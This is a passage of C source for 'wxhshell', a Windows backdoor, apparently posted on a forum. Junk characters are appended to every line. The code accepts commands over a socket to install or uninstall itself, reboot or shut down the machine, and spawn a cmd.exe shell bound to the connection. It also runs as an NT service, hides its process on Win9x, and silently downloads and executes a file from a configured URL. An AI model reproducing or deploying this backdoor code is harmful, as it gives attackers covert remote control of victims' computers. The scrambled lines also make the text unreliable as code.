  case 'i': { *2e!M^K<  
    if(Install()) }r%X`i|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O"Q7Rx  
    else !q' 4D!I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V 1/p_)A  
    break; xr%#dVk  
    } Ln!A:dP}c-  
  // 卸载 [9o4hw  
  case 'r': { G^;>8r  
    if(Uninstall()) KOh A)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fuMJdAuY7d  
    else Pw[g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !)pdamdA  
    break; O9"/ kmB  
    } k~.&j"K  
  // 显示 wxhshell 所在路径 [{ ~TcT  
  case 'p': { 'e!J06  
    char svExeFile[MAX_PATH]; ; )Eo7?]-  
    strcpy(svExeFile,"\n\r"); F_H82BE+3  
      strcat(svExeFile,ExeFile); 4(8xjL:  
        send(wsh,svExeFile,strlen(svExeFile),0); +&i +Mpb  
    break; Vsnuy8~k  
    } <hx+wrv  
  // 重启 t0)<$At6J  
  case 'b': { [p;E~-S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V[nQQxWp=  
    if(Boot(REBOOT)) 6"f}O<M 5H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(N+.T5cp  
    else { .@F]Pht  
    closesocket(wsh); <RNJ>>0  
    ExitThread(0); T~:|!`  
    } 4\M.6])_   
    break; EYX$pz(x;  
    } $O)3 q $|  
  // 关机 p-SJ6Gg 9  
  case 'd': { ]#2Y e7+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); alq%H}FF  
    if(Boot(SHUTDOWN)) vVl; |  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m P'^%TE  
    else { hr GH}CU"  
    closesocket(wsh); @]aOyb@  
    ExitThread(0); "vZ!vt#'Y  
    } Qnd5X`jF#  
    break; RsJ6OFcWV  
    } 'T<iHV&  
  // 获取shell }Gyqq6Aeb  
  case 's': { VVP:w%yW  
    CmdShell(wsh); hvka{LD  
    closesocket(wsh); cWyW~Ek  
    ExitThread(0); ',^+bgs5  
    break; Uyx!E4pl(  
  } ~@.%m"<.  
  // 退出 3&&9_`r&_  
  case 'x': { d;mx<i=/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A][fLlpr  
    CloseIt(wsh); ?';OD3-  
    break; )Gw~XtB2  
    } mtz#}qD66  
  // 离开 PjA6Ji;Hu  
  case 'q': { -#!x|ne  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /,=@8k!t?  
    closesocket(wsh); { FZ=olZ  
    WSACleanup(); 3psU?8(  
    exit(1); Z_1U9 +,  
    break; 7\FXz'hA  
        } V-'K6mn;  
  } fjk\L\1  
  } . \   
10!wqyj&  
  // 提示信息 ,<BbpIQ2o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *}k;L74|  
} ^sN (  
  } U8qtwA9t  
^V$Ajt  
  return; ivDGZI9  
} c:Wze*vI ;  
om?-WJI  
// shell模块句柄 |sRipWh  
int CmdShell(SOCKET sock) Mi'8 ~J  
{ 26T"XW'_  
STARTUPINFO si; ] e. JNo  
ZeroMemory(&si,sizeof(si)); ^uv<6  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mKo C.J  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [ i#zP  
PROCESS_INFORMATION ProcessInfo; >SPh2[f  
char cmdline[]="cmd"; oF(Lji?m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;qHOOT  
  return 0; `W/sP\3  
} r'QnX;99T  
7$h#OV*@,  
// 自身启动模式 r{l(O,|e  
int StartFromService(void) pvmC$n^zc  
{ F1L:,.e`  
typedef struct a:QDBS2Llv  
{ Uf}\p~;  
  DWORD ExitStatus; C4TE-OM8  
  DWORD PebBaseAddress; s(X;Eha  
  DWORD AffinityMask; P(F+f `T  
  DWORD BasePriority; |$5[(6T|  
  ULONG UniqueProcessId; #9K-7je;j  
  ULONG InheritedFromUniqueProcessId; ME'|saP  
}   PROCESS_BASIC_INFORMATION; 3Zi@A4Wu  
k'0Pi6  
PROCNTQSIP NtQueryInformationProcess; 6G=j6gK%P  
M1KqY:9E  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -D6exTxh"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vWGwVH/K  
r@ZJ{4\Q  
  HANDLE             hProcess; u\eEh*<7q  
  PROCESS_BASIC_INFORMATION pbi; e=O,B8)_  
*/|BpakD<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yj^+ G  
  if(NULL == hInst ) return 0; $56,$K`H  
xyI}y(CN1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M)SEn/T-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W.kM7z>G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fW?o@vlO  
N<~ku<nAU  
  if (!NtQueryInformationProcess) return 0; uu`G 2[t  
S~|T4q(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @')[FEdW  
  if(!hProcess) return 0; "I(xgx*  
i':C)7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; cTG|fdgMW  
hP15qKy  
  CloseHandle(hProcess); W*2U="t  
|P%Jw,}]9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }sxYxn~  
if(hProcess==NULL) return 0; thhwN A  
Dc,I7F|%  
HMODULE hMod; ~ 0M'7q'  
char procName[255]; P-9<YN  
unsigned long cbNeeded; %$b:X5$Z  
vh$%9ed  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %f]:I  
<_7*67{  
  CloseHandle(hProcess); P'_H/r/#  
0\eIQp  
if(strstr(procName,"services")) return 1; // 以服务启动 wp&=$Aa)'  
I1X-s  
  return 0; // 注册表启动 EKO[!,  
} AB4(+S*LA  
UeRj< \"Q  
// 主模块 D|{jR~J)xK  
int StartWxhshell(LPSTR lpCmdLine) HPZ}*m'  
{ Ftr5k^!  
  SOCKET wsl; ')$+G152  
BOOL val=TRUE; 4q k9NK2 U  
  int port=0; 9g mW&{6q  
  struct sockaddr_in door; !_Wi!Vr_  
&wV]"&-  
  if(wscfg.ws_autoins) Install(); K57&yVX  
qw^uPs7Uw  
port=atoi(lpCmdLine); ;XBI{CW  
]iUx p+  
if(port<=0) port=wscfg.ws_port; h 5^Z2:#  
,LnII  
  WSADATA data; w9bbMx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;<ZLc TL  
S Em Q@1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   | AozR ~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N(Tz%o4  
  door.sin_family = AF_INET; @"^0%/2-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hbY5l}\5  
  door.sin_port = htons(port); N'GeHByIT  
|E JD3 &  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BW$"`T@c6~  
closesocket(wsl); :0Rx#%u}#  
return 1; E4M@WNPx  
} uo@n(>}EL  
'2 PF  
  if(listen(wsl,2) == INVALID_SOCKET) { fR(d  
closesocket(wsl); uc){+'[  
return 1; 3R.W >U  
} U`2e{>'4t  
  Wxhshell(wsl); T[g[&K1Y  
  WSACleanup(); 9[.8cg*  
,)vDeU  
return 0; _I:/ZF5  
A\HxDIU  
} `ojoOB^L  
u=`L )  
// 以NT服务方式启动 \nPEyw,U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~Vr.J}]J  
{ J1C3&t}  
DWORD   status = 0; gaZu;t2u  
  DWORD   specificError = 0xfffffff; -;^j:L{   
)-a'{W/t  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &E.^jR~*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ewctkI$,5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +JjW_Rl?=V  
  serviceStatus.dwWin32ExitCode     = 0; n[lJLm^(_C  
  serviceStatus.dwServiceSpecificExitCode = 0; ^\4h<M  
  serviceStatus.dwCheckPoint       = 0; {y=j?lD  
  serviceStatus.dwWaitHint       = 0; K/IWH[  
wk5s)%V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^ hZ0IM  
  if (hServiceStatusHandle==0) return; )b)-ZS7  
ahJ`$U4n  
status = GetLastError(); n>BkTaI  
  if (status!=NO_ERROR) MkfBu W;)  
{ U:^PC x`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; --$ 4Q(#  
    serviceStatus.dwCheckPoint       = 0; TFlet"ge=  
    serviceStatus.dwWaitHint       = 0; JB<Sl4  
    serviceStatus.dwWin32ExitCode     = status; ,$s8GAmq  
    serviceStatus.dwServiceSpecificExitCode = specificError; n\*!CXc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |)(VsVG&  
    return; E&2OD [iX  
  } S4Y&  
l]Ax:Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F8jd'OR  
  serviceStatus.dwCheckPoint       = 0; -p]1=@A<}  
  serviceStatus.dwWaitHint       = 0; $w2u3 -  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |}BL F  
} \Q0[?k  
2mVD_ s[`  
// 处理NT服务事件,比如:启动、停止 Enum/O5  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %4et&zRC  
{ J^SdH&%Z  
switch(fdwControl) a_f~N1kq  
{ cW@Zd5&0S  
case SERVICE_CONTROL_STOP: +ElfZ4  
  serviceStatus.dwWin32ExitCode = 0; /Z'L^ L%R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K|zZS%?$  
  serviceStatus.dwCheckPoint   = 0; 6jE |  
  serviceStatus.dwWaitHint     = 0; &Sw%<N*r  
  { u0|8Tgf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }B\a<0L/  
  } X' H[7 ^W  
  return; RJ  8+h  
case SERVICE_CONTROL_PAUSE: dCi?SIN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $'BSH4~|.  
  break; Pg,b-W?n*  
case SERVICE_CONTROL_CONTINUE: + jc!5i .  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q=;U@k@>  
  break; &"f";  
case SERVICE_CONTROL_INTERROGATE: n}F&1Z  
  break; 3!XjtVhK?I  
}; $q6BP'7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7K,-01-:  
} _x%7@ .TB  
y{ibO}s  
// 标准应用程序主函数 uwzvbgup?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) [$0p+1  
{ g!@<n1 L  
q rJ`1  
// 获取操作系统版本 n.'8A(,r3  
OsIsNt=GetOsVer(); O#:$^#j&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); \F1_lq;K  
C'\- @/  
  // 从命令行安装 k1w_[w [  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6& e3Nt  
i2E )P x  
  // 下载执行文件 ehzM) uK  
if(wscfg.ws_downexe) { "c3Grfoz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0b+Wc43}K  
  WinExec(wscfg.ws_filenam,SW_HIDE); gw#5jW\  
} XewVcRo  
g7}Gip}.>  
if(!OsIsNt) { t3*wjQ3  
// 如果时win9x,隐藏进程并且设置为注册表启动 .k,1f*%  
HideProc(); RDW8]=uM  
StartWxhshell(lpCmdLine); )97SnCkal  
} `eE&5.   
else Y-kt.X/Z-  
  if(StartFromService()) X 0WJBEE  
  // 以服务方式启动 |n+qMql'  
  StartServiceCtrlDispatcher(DispatchTable); sy:[T T!w  
else LJd5;so-  
  // 普通方式启动 D>/0v8  
  StartWxhshell(lpCmdLine); LLk(l#K*  
77C'*tt1]  
return 0; o3Yb7h9  
}
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只看该作者 1 发表于: 2006-10-10
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